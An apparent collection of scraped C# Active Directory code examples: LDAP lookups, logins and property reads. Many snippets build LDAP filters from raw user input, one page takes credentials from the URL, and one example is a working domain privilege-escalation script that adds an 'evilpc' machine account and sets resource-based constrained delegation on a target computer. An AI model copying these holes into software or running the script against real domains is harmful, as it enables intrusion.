            // Parse the string to check if domain name is present.
            int idx = login.IndexOf('\\');
            if (idx == -1)
            {
                idx = login.IndexOf('@');
            }

            string strName = idx != -1 ? login.Substring(idx + 1) : login;

            const string connection = "LDAP://softserveinc.com";
            var dssearch = new DirectorySearcher(connection) { Filter = "(sAMAccountName=" + strName + ")" };
            var sresult = dssearch.FindOne();

            DirectoryEntry dsresult = sresult.GetDirectoryEntry();
            var result = new UserEntity
                {
                    Login = "******" + login,
                    Name = dsresult.Properties["displayName"][0].ToString(),
                    Mail = dsresult.Properties["mail"][0].ToString(),
                    Department = dsresult.Properties["department"][0].ToString(),
                    Office = dsresult.Properties["physicalDeliveryOfficeName"][0].ToString()
                };

            return result;
        }
        public bool GetStatus()
        {
            DirectorySearcher search = new DirectorySearcher(_path);
            search.Filter = "(cn=" + _filterAttribute + ")";
            search.PropertiesToLoad.Add("userAccountControl");

            try
            {
                SearchResult result = search.FindOne();
                if (null == result)
                {
                    return false;
                }
                string statusNames = result.Properties["userAccountControl"][0].ToString();

                if ("512".Equals(statusNames))
                {
                    return true;
                }
                // 512 可用账户
                // 514 账户无效
                // 528 账户锁定
                // 8389120 密码过期

                return false;
            }
            catch (Exception ex)
            {
                return false;
                //throw new Exception("Error obtaining userAccountControl names. " + ex.Message);
            }
        }
        private static bool AuthenticateUser(string credentials)
        {
            var encoding = Encoding.GetEncoding("iso-8859-1");
            credentials = encoding.GetString(Convert.FromBase64String(credentials));
            var credentialsArray = credentials.Split(':');
            var username = credentialsArray[0];
            var password = credentialsArray[1];

            if (string.IsNullOrEmpty(username))
            {
                return false;
            }
            var directoryEntry = new DirectoryEntry(Ldap, username, password);
            var searchAdForUser = new DirectorySearcher(directoryEntry) { Filter = "(&(objectClass=user)(anr=" + username + "))" };
            var retrievedUser = searchAdForUser.FindOne();

            if (retrievedUser == null)
            {
                return false;
            }

            var identity = new GenericIdentity(username);
            SetPrincipal(new GenericPrincipal(identity, null));

            return true;
        }
Esempio n. 34
0
        /// <summary>
        /// Retrieves the user information.
        /// </summary>
        /// <param name="userNameToRetrieveFrom">The user name to retrieve from.</param>
        /// <returns></returns>
        /// <remarks></remarks>
        public LdapUserInfo RetrieveUserInformation(string userNameToRetrieveFrom)
        {
            System.DirectoryServices.DirectorySearcher ldapSearcher = new System.DirectoryServices.DirectorySearcher();
            System.DirectoryServices.SearchResult      ldapResult   = default(System.DirectoryServices.SearchResult);

            string filter = "(&(objectClass=user)(SAMAccountName=" + userNameToRetrieveFrom + "))";


            System.DirectoryServices.DirectoryEntry ldap = default(System.DirectoryServices.DirectoryEntry);

            try
            {
                if (LdapLogonUserName == null)
                {
                    ldap = new System.DirectoryServices.DirectoryEntry("LDAP://" + DomainName);
                }
                else
                {
                    ldap = new System.DirectoryServices.DirectoryEntry("LDAP://" + DomainName, LdapLogonUserName, LdapLogonPassword);
                }
            }
            catch (Exception e)
            {
                Util.Log.Trace(e.ToString());
                throw new CruiseControlException("Problem connecting to LDAP service", e);
            }

            ldapSearcher.SearchRoot  = ldap;
            ldapSearcher.SearchScope = SearchScope.Subtree;

            ldapSearcher.PropertiesToLoad.Add(LdapFieldMailAddress);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldSurName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldCommonName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldGivenName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldDisplayName);
            ldapSearcher.PropertiesToLoad.Add(LdapFieldMailNickName);

            ldapSearcher.Filter = filter;
            ldapResult          = ldapSearcher.FindOne();
            ldapSearcher.Dispose();

            LdapUserInfo result = new LdapUserInfo();

            if ((ldapResult != null))
            {
                result.CommonName   = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldCommonName].Value;
                result.DisplayName  = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldDisplayName].Value;
                result.GivenName    = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldGivenName].Value;
                result.MailAddress  = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldMailAddress].Value;
                result.MailNickName = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldMailNickName].Value;
                result.Name         = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldName].Value;
                result.SurName      = (string)ldapResult.GetDirectoryEntry().Properties[LdapFieldSurName].Value;
            }

            return(result);
        }
Esempio n. 35
0
        protected void Page_Load(object sender, System.EventArgs e)
        {
            Response.ClearContent();
            if ((Request.QueryString["user"] == null) || (Request.QueryString["password"] == null) || (Request.QueryString["properties"] == null))
            {
                Response.Write("-1");
                Response.End();
                return;
            }
            string user     = Request.QueryString["user"].ToString().Trim();
            string password = Request.QueryString["password"].ToString().Trim();

            try
            {
                string domain = "ecas.local";
                System.DirectoryServices.DirectoryEntry entry = new System.DirectoryServices.DirectoryEntry("LDAP://" + domain, user, password, System.DirectoryServices.AuthenticationTypes.Secure);
                try
                {
                    System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(entry);
                    search.Filter = "(SAMAccountName=" + user + ")";
                    search.PropertiesToLoad.Add("displayName");
                    System.DirectoryServices.SearchResult result = search.FindOne();
                    if (result == null)
                    {
                        Response.Write("-1");
                        Response.End();
                        return;
                    }
                    string properties = Request.QueryString["properties"].ToString().Trim();
                    string nombre     = result.Properties[properties][0].ToString();
                    Response.Write(nombre);
                    Response.End();
                    return;
                }
                catch (System.DirectoryServices.DirectoryServicesCOMException)
                {
                    Response.Write("-1");
                    Response.End();
                }
            }
            catch (System.DirectoryServices.DirectoryServicesCOMException)
            {
                Response.Write("-1");
                Response.End();
            }
        }
Esempio n. 36
0
        public Boolean IsAManager(String Path, String adminName, String password, String Domain)
        {
            string strRootForest = "LDAP://" + Domain;

            System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(strRootForest, adminName, password);

            System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(root);
            searcher.SearchScope     = SearchScope.Subtree;
            searcher.ReferralChasing = ReferralChasingOption.All;

            string vbSearchCriteria = "(manager=" + Path + ")";

            searcher.Filter = "(&(objectClass=user)" + vbSearchCriteria + ")";

            SearchResult result = searcher.FindOne();

            return(result == null ? false : true);
        }
Esempio n. 37
0
        private void UserDetails(String EPFNumber)
        {
            System.DirectoryServices.DirectoryEntry    dirEntry;
            System.DirectoryServices.DirectorySearcher dirSearcher;
            // dirEntry = new System.DirectoryServices.DirectoryEntry("LDAP://192.168.10.251");


            // DirectoryEntry dirEntry;
            if (DomainName == "HNBGI")
            {
                dirEntry = new DirectoryEntry("LDAP://192.168.10.211");
            }
            else
            {
                dirEntry = new DirectoryEntry("LDAP://192.168.10.251");
            }



            dirSearcher        = new System.DirectoryServices.DirectorySearcher(dirEntry);
            dirSearcher.Filter = "(&(objectClass=user)(SAMAccountName=" + EPFNumber + "))";


            SearchResult sr = dirSearcher.FindOne();

            System.DirectoryServices.DirectoryEntry de = sr.GetDirectoryEntry();

            if (sr == null)
            {
                UserBranch     = "";
                UserDepartment = "";
                UserDisplay    = "";
            }
            else
            {
                UserBranch     = de.Properties["postalCode"].Value.ToString();
                UserDepartment = de.Properties["Department"].Value.ToString();
                UserDisplay    = de.Properties["displayname"].Value.ToString();
            }
        }
Esempio n. 38
0
        private void InitToRootDse(string host, int port)
        {
            if (host == null)
            {
                host = DefaultHost;
            }
            if (port < 0)
            {
                port = DefaultPort;
            }

            LdapUrl rootPath = new LdapUrl(host, port, String.Empty);

            string []         attrs     = new string [] { "+", "*" };
            DirectoryEntry    rootEntry = new DirectoryEntry(rootPath.ToString(), this.Username, this.Password, this.AuthenticationType);
            DirectorySearcher searcher  = new DirectorySearcher(rootEntry, null, attrs, SearchScope.Base);

            SearchResult result = searcher.FindOne();
            // copy properties from search result
            PropertyCollection pcoll = new PropertyCollection();

            foreach (string propertyName in result.Properties.PropertyNames)
            {
                System.Collections.IEnumerator enumerator = result.Properties [propertyName].GetEnumerator();
                if (enumerator != null)
                {
                    while (enumerator.MoveNext())
                    {
                        if (String.Compare(propertyName, "ADsPath", true) != 0)
                        {
                            pcoll [propertyName].Add(enumerator.Current);
                        }
                    }
                }
            }
            this.SetProperties(pcoll);
            this._Name = "rootDSE";
        }
Esempio n. 39
0
        private void UserDetails(String EPFNumber, String Company)
        {
            CommonFunctions clsCom = new CommonFunctions();
            String          LDAP   = clsCom.getADIPAddress(Company);

            System.DirectoryServices.DirectoryEntry    dirEntry;
            System.DirectoryServices.DirectorySearcher dirSearcher;
            dirEntry = new System.DirectoryServices.DirectoryEntry(LDAP);

            //shanika
            //System.DirectoryServices.DirectoryEntry dirEntry;
            //System.DirectoryServices.DirectorySearcher dirSearcher;
            //dirEntry = new System.DirectoryServices.DirectoryEntry("LDAP://192.168.10.211");


            dirSearcher        = new System.DirectoryServices.DirectorySearcher(dirEntry);
            dirSearcher.Filter = "(&(objectClass=user)(SAMAccountName=" + EPFNumber + "))";


            SearchResult sr = dirSearcher.FindOne();

            System.DirectoryServices.DirectoryEntry de = sr.GetDirectoryEntry();

            if (sr == null)
            {
                UserBranch     = "";
                UserDepartment = "";
                UserDisplay    = "";
            }
            else
            {
                UserBranch     = de.Properties["postalCode"].Value.ToString();
                UserDepartment = de.Properties["Department"].Value.ToString();
                UserDisplay    = de.Properties["displayname"].Value.ToString();
            }
        }
Esempio n. 40
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            dominio = (dominio == "") ? "GRUPORANSA" : dominio;
            string rpta = "";
            AccesoUsuarioOutput usuarios = new AccesoUsuarioOutput();

            DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            variablesGlobales._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            int flagExists = variablesGlobales._estCuentaUsuario & 0x2;
                            if (flagExists > 0)
                            {
                                usuarios.IDUSER   = 0;
                                usuarios.USERNM   = "La cuenta de usuario se encuentra deshabilitada";
                                usuarios.NVLACC   = "SIN ACCESO";
                                usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                                rpta = JsonConvert.SerializeObject(usuarios);
                            }

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                //rpta = "[{id=0, mensaje = '"+ ex.Message + "'}]";
                                rpta = "{\"id\":0, \"mensaje\": \"" + ex.Message + "\"}";
                                return(rpta);
                            }

                            if (User.Properties.Contains("displayName"))
                            {
                                variablesGlobales._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            }

                            variablesGlobales._rolUsuario    = (User.Properties["title"].Count > 0) ? System.Convert.ToString(User.Properties["title"][0]) : "";
                            variablesGlobales._dptoUsuario   = (User.Properties["department"].Count > 0) ? System.Convert.ToString(User.Properties["department"][0]) : "";
                            variablesGlobales._correoUsuario = (User.Properties["proxyAddresses"].Count > 0) ? System.Convert.ToString(User.Properties["proxyAddresses"][0]) : "";
                            variablesGlobales._cuentaUsuario = (User.Properties["sAMAccountName"].Count > 0) ? System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper() : "";

                            usuarios = ValidarAccesos(variablesGlobales._cuentaUsuario);

                            rpta = JsonConvert.SerializeObject(usuarios);
                        }
                    }
                    else
                    {
                        usuarios.IDUSER   = 0;
                        usuarios.USERNM   = "No EXiste";
                        usuarios.NVLACC   = "SIN ACCESO";
                        usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                        rpta = JsonConvert.SerializeObject(usuarios);
                    }
                }
            }
            return(rpta);
        }
Esempio n. 41
0
        private void GetPropertyFromAD(DataTable result)
        {
            string userName = this.Context.User.Identity.Name;

            using (HostingEnvironment.Impersonate())
            {
                DirectoryEntry dirEntry    = new DirectoryEntry(_adEntryPoint);
                string         studentName = "";

                // Trim the domain name
                if (userName.IndexOf("\\") != 0)
                {
                    userName = userName.Substring(userName.LastIndexOf("\\") + 1);
                }

                // We are storing the Children of a Parent in the  property of Active Directory specified
                System.DirectoryServices.DirectorySearcher mySearcher = new System.DirectoryServices.DirectorySearcher(dirEntry);
                mySearcher.PropertiesToLoad.Add(_adChildAttribute);
                //Set the filter for the current user
                mySearcher.Filter = "(&(objectCategory=user)(samaccountname=" + userName + "))";

                ResultPropertyValueCollection myResultPropColl = null;

                try
                {
                    myResultPropColl = mySearcher.FindOne().Properties[_adChildAttribute];
                }
                catch (Exception ex)
                {
                    Debug(ex.ToString());
                    ShowMessage(LoadResource(GenericErrMsg), String.Format(LoadResource("ErrorRetrievingChildren"), ex.ToString()));
                    return;
                }

                //if null an error occured
                if (myResultPropColl == null)
                {
                    ShowMessage(LoadResource(GenericErrMsg));
                    return;
                }
                //if count =0 then no childern
                if (myResultPropColl.Count == 0)
                {
                    ShowMessage(LoadResource("NoChild"));
                }

                // Loop through each found child, and return their Display Name , Image Url and First Name
                foreach (object myCollection in myResultPropColl)
                {
                    string orgStudentName = myCollection.ToString();

                    Debug("{0} in AD attribute", orgStudentName);

                    if (!IsMember(orgStudentName, _studentsSiteURL))
                    {
                        Debug("Not member");
                        continue;
                    }

                    DataRow studentRow = result.NewRow();
                    studentRow[IsSelectedColumnName] = false;

                    studentRow[UserNameColumnName] = orgStudentName;

                    // Trim the domain name
                    if (orgStudentName.IndexOf("\\") != 0)
                    {
                        studentName = orgStudentName.Substring(orgStudentName.LastIndexOf("\\") + 1);
                    }

                    try
                    {
                        //read display name property
                        mySearcher.PropertiesToLoad.Add(DisplayNameColumnName);
                        mySearcher.Filter = "(&(objectCategory=user)(samaccountname=" + studentName + "))";

                        System.DirectoryServices.SearchResult SrchRes;
                        SrchRes = mySearcher.FindOne();

                        if (SrchRes != null)
                        {
                            studentRow[DisplayNameColumnName] = SrchRes.Properties[DisplayNameColumnName][0].ToString();
                            string pictureURL = GetStudentImage(studentName);
                            if (pictureURL == null)
                            {
                                System.Uri defaultpic = new Uri(new Uri(Context.Request.Url.ToString()), DefaultPictureURL);
                                pictureURL = defaultpic.OriginalString.ToString();
                            }
                            studentRow[ImageUrlColumnName] = pictureURL;

                            result.Rows.Add(studentRow);
                        }
                        else // No user object found for the attached child
                        {
                            ShowMessage(String.Format(LoadResource("NoChildFound"), studentName));
                        }
                    }
                    catch (Exception ex)
                    {
                        ShowMessage(LoadResource(GenericErrMsg), String.Format(LoadResource("ErrorRetrievingChildInfo"), studentName, ex.Message));
                    }
                }

                mySearcher.Dispose();
            }
        }
Esempio n. 42
0
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            string         rpta   = "";
            DirectoryEntry domain = new DirectoryEntry(dominio);

            //DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            //Ambito._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            //int flagExists = Ambito._estCuentaUsuario & 0x2;
                            //if (flagExists > 0)
                            //{
                            //    rpta = "La cuenta de usuario se encuentra deshabilitada";
                            //}

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                rpta = ex.Message;
                                return(rpta);
                            }

                            //if (User.Properties.Contains("displayName"))
                            //{
                            //    Ambito._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._rolUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("title"))
                            //{
                            //    Ambito._dptoUsuario = System.Convert.ToString(User.Properties["title"][0]);
                            //}

                            //if (User.Properties.Contains("proxyAddresses"))
                            //{
                            //    Ambito._correoUsuario = System.Convert.ToString(User.Properties["proxyAddresses"][0]);
                            //}

                            //if (User.Properties.Contains("sAMAccountName"))
                            //{
                            //    Ambito.Usuario = System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper();
                            //}



                            rpta = "OK";
                        }
                    }
                    else
                    {
                        rpta = "ER";
                    }
                }
            }
            return(rpta);
        }
Esempio n. 43
0
        private void GetUsedAttributes(string objectDn)
        {
            // Get the currently connected LDAP context
            System.DirectoryServices.DirectoryEntry entry1 = new System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
            string domainContext = entry1.Properties["defaultNamingContext"].Value as string;

            // Use the default naming context as the connected context may not work for searches
            System.DirectoryServices.DirectoryEntry    entry    = new System.DirectoryServices.DirectoryEntry("LDAP://" + domainContext);
            System.DirectoryServices.DirectorySearcher adSearch = new System.DirectoryServices.DirectorySearcher(entry);

            adSearch.Filter      = "(&((&(objectCategory=Person)(objectClass=User)))(samaccountname=" + objectDn + "))";
            adSearch.SearchScope = SearchScope.Subtree;

            //adSearch.Filter = "(&(objectClass=user)(anr=" + objectDn + "))";
            string[] requiredProperties = new string[] { "cn", "userprincipalname", "physicaldeliveryofficename", "distinguishedname", "telephonenumber", "mail", "title", "department", "adspath" };

            foreach (String property in requiredProperties)
            {
                adSearch.PropertiesToLoad.Add(property);
            }

            SearchResult result = adSearch.FindOne();

            if (result != null)
            {
                foreach (String property in requiredProperties)
                {
                    if (result.GetDirectoryEntry().Properties[property].Value != null)
                    {
                        switch (property)
                        {
                        case "cn":
                            this._fullname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "userprincipalname":
                            this._userprincipalname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "physicaldeliveryofficename":
                            this._physicaldeliveryofficename = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "distinguishedname":
                            this._distinguishedname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "telephonenumber":
                            this._telephonenumber = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "department":
                            this._department = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "mail":
                            this._email = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "title":
                            this._title = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "adspath":
                            this._adspath = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        default:
                            break;
                        }
                    }
                }
            }
        }
        static void Main(string[] args)
        {
            String DomainController = "192.168.127.129";
            String Domain           = "gh0st.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount          = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "******"; //机器账户密码
            String victimcomputer_ldap_path    = "LDAP://CN=Computers,DC=gh0st,DC=com";
            String machine_account             = new_MachineAccount;
            String sam_account = machine_account + "$";

            String distinguished_name = "";

            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array           = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine("[+] Elevate permissions on ");
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
            } catch (System.Exception ex) {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                } catch {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try {
                result = search.FindOne();
            } catch (System.Exception ex) {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                } catch (System.Exception ex) {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
    /// <summary>
    /// To bind active directory records in user details grid
    /// </summary>
    public void BindUser()
    {
        DataTable  DtBindUser    = new DataTable();
        DataColumn Dtmail        = new DataColumn("mail");
        DataColumn Dtfname       = new DataColumn("fname");
        DataColumn Dtlname       = new DataColumn("lname");
        DataColumn DtdisplayName = new DataColumn("displayName");

        DtBindUser.Columns.Add(Dtmail);
        DtBindUser.Columns.Add(Dtfname);
        DtBindUser.Columns.Add(Dtlname);
        DtBindUser.Columns.Add(DtdisplayName);
        DataRow Druser;

        // Added connection string for active directory user
        string            connection = ConfigurationManager.ConnectionStrings["ADConnection"].ToString();
        DirectorySearcher DsSearch   = new DirectorySearcher(connection);

        // declaired domain from which you want to fetch active directory users
        DirectoryEntry    UserDomain = new DirectoryEntry("LDAP://DC=kpmg,DC=aptaracorp,DC=com");
        DirectorySearcher Usersearch = new DirectorySearcher(connection);

        DsSearch.SearchRoot  = UserDomain;
        DsSearch.SearchScope = SearchScope.Subtree;
        SearchResultCollection UserResult;

        //Applied Filter On User For Specific Fname and Lname
        Usersearch.Filter = "(&(objectClass=user)(sn=" + txtLastName.Text + "*)(givenName=" + txtFName.Text + "*))";
        UserResult        = Usersearch.FindAll();
        for (int i = 0; i < UserResult.Count; i++)
        {
            string            AccounName = UserResult[i].Properties["samaccountname"][0].ToString();
            DirectorySearcher DrSearcher = new System.DirectoryServices.DirectorySearcher("(samaccountname=" + AccounName + ")");
            SearchResult      SrchRes    = DrSearcher.FindOne();
            DirectoryEntry    DrEntry    = SrchRes.GetDirectoryEntry();
            try
            {
                if (DrEntry.Properties["givenName"][0].ToString() != "")
                {
                    string FirstName   = DrEntry.Properties["givenName"][0].ToString();
                    string LastName    = DrEntry.Properties["sn"][0].ToString();
                    string UserEmail   = DrEntry.Properties["mail"][0].ToString();
                    string UserDisName = DrEntry.Properties["displayName"][0].ToString();
                    Druser                = DtBindUser.NewRow();
                    Druser["mail"]        = UserEmail.ToString();
                    Druser["fname"]       = FirstName.ToString();
                    Druser["lname"]       = LastName.ToString();
                    Druser["displayName"] = UserDisName.ToString();
                    DtBindUser.Rows.Add(Druser);
                }
            }
            catch
            {
                ////throw;
            }
        }
        if (DtBindUser.Rows.Count > 0)
        {
            grdUserDetails.DataSource = DtBindUser;
            grdUserDetails.DataBind();
        }
    }
Esempio n. 46
0
        //make this searching the GC
        public static bool LookUpAcctSid(string contextSystem, byte[] abSID, StringBuilder sbDomain)
        {
            SecurityIdentifier sid = new SecurityIdentifier(abSID, 0);

            string[] splits = contextSystem.Split('.');

            string sDCs = "";

            foreach (string split in splits)
            {
                sDCs = string.Concat(sDCs, "DC=", split, ",");
            }

            sDCs = sDCs.Substring(0, sDCs.Length - 1);

            //some hack to obtain the creds to establish a GC dirContext [Wei]
            string username = string.Empty;
            string password = string.Empty;

            DirectoryEntry.ObtainCreds(out username, out password, contextSystem.ToLower());

            GlobalCatalog gc = GlobalCatalog.GetGlobalCatalog(
                new System.DirectoryServices.ActiveDirectory.DirectoryContext(DirectoryContextType.Domain, contextSystem.ToLower(),
                                                                              username, password));

            if (gc == null) //cannot talk to GC
            {
                string contextldapPath = string.Concat("LDAP://", contextSystem.ToLower(), "/", sDCs);

                DirectoryEntry context = new DirectoryEntry(contextldapPath);

                string filter = string.Concat("(objectSid=", sid.ToString(), ")");

                DirectorySearcher ds = new DirectorySearcher(context, filter);

                ds.SearchScope = SearchScope.Subtree;

                SearchResult de = ds.FindOne();

                if (de == null)
                {
